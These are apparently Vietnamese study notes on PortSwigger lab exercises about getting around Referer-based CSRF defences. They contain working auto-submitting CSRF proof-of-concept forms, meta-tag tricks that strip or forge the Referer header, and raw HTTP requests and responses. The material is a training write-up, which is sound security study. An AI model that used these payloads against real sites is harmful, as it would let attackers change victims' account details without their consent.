Header Referer là một optional header chứa URL của trang web có chứa liên kết với resource đang được request. Header này thường được thêm vào bởi trình duyệt khi người dùng gây ra HTTP request bằng cách nhấn vào liên kết hoặc submit form.

Có một vài phương pháp cho phép trang web chứa liên kết che giấu hoặc điều chỉnh giá trị của header Referer (vì các mục đích liên quan đến tính riêng tư).

Validation of Referer Depends on Header Being Present

Một vài trang web không kiểm tra header Referer nếu nó không tồn tại trong request. Trong trường hợp này, attacker có thể tạo ra CSRF exploit bằng cách khiến cho trình duyệt của nạn nhân bỏ đi header Referer trong request. Cách dễ nhất để làm điều này là dùng thẻ <meta>:

<meta name="referrer" content="never">

Lab: CSRF Where Referer Validation Depends on Header Being Present

Mục tiêu là thay đổi email của tài khoản wiener:peter.

PoC:

<html>
  <meta name="referrer" content="never">
  <body>
    <form action="https://0a4600d703b95cfa81694de500450062.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="csrf&#64;normal&#45;user&#46;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Validation of Referer Can Be Circumvented

Một vài ứng dụng xác thực header Referer theo một cách rất ngây thơ. Ví dụ, nếu ứng dụng chỉ kiểm tra xem domain trongReferer bắt đầu bằng một giá trị nào đó thì attacker có thể sử dụng giá trị đó như là subdomain của exploit server:

http://vulnerable-website.com.attacker-website.com/csrf-attack

Tương tự, nếu ứng dụng chỉ kiểm tra xem Referer có chứa domain của chính nó hay không thì attacker có thể đặt domain name ở bất cứ đâu trong URL:

http://attacker-website.com/csrf-attack?vulnerable-website.com

Note

Đa số các trình duyệt đã bỏ đi phần query string ở trong URL của header Referer. Chúng ta có thể ghi đè hành vi này bằng cách đảm bảo rằng có header Referrer-Policy: unsafe-url ở trong request có chứa exploit.

Lab: CSRF with Broken Referer Validation

PoC:

<html>
  <body>
    <form action="https://0a6e00690327482a81873e35004a0012.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="csrf&#64;normal&#45;user&#46;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Request của exploit:

POST /my-account/change-email HTTP/2
Host: 0a6e00690327482a81873e35004a0012.web-security-academy.net
Cookie: session=1EztAXGXtQTjPi9et25hATefR05DjHb5
Content-Length: 28
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://exploit-0af200f8033d48f081de3d3e01300036.exploit-server.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://exploit-0af200f8033d48f081de3d3e01300036.exploit-server.net
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
email=csrf%40normal-user.net

Response:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 24
 
"Invalid referer header"

Thử thêm domain name của trang web mục tiêu vào query param của header Referer:

Referer: https://exploit-0af200f8033d48f081de3d3e01300036.exploit-server.net/?0a6e00690327482a81873e35004a0012.web-security-academy.net

Response trả về cho thấy ta đã thay đổi thành công email:

HTTP/2 302 Found
Location: /my-account?id=wiener
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Sửa lại PoC:

<html>
  <body>
    <form action="https://0a6e00690327482a81873e35004a0012.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="csrf&#64;normal&#45;user&#46;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/?0a6e00690327482a81873e35004a0012.web-security-academy.net');
      document.forms[0].submit();
    </script>
  </body>
</html>

Info

Hàm history.pushState tương tự với việc gán giá trị cho window.location.

Header Referer trong request gửi đi từ exploit server bị mất query param. Ta cần set header Referrer-Policy: unsafe-url bằng cách dùng thẻ <meta> với name là referrer và content là unsafe-URL như sau:

<html>
  <meta name="referrer" content="unsafe-URL"/>
  <body>
    <form action="https://0a6e00690327482a81873e35004a0012.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="csrf&#64;normal&#45;user&#46;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/?0a6e00690327482a81873e35004a0012.web-security-academy.net');
      document.forms[0].submit();
    </script>
  </body>
</html>
list
from outgoing([[Port Swigger  - Bypassing Referer-based CSRF Defenses]])
sort file.ctime asc

Resources